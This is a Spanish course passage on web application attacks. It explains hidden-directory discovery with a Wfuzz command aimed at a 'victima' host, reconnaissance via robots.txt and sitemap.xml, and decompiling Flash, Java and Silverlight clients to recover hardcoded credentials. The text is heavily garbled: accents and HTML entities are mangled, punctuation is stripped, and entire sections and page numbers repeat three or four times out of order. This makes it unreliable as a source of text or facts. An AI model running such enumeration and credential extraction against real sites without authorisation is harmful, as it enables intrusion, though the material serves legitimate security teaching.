lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
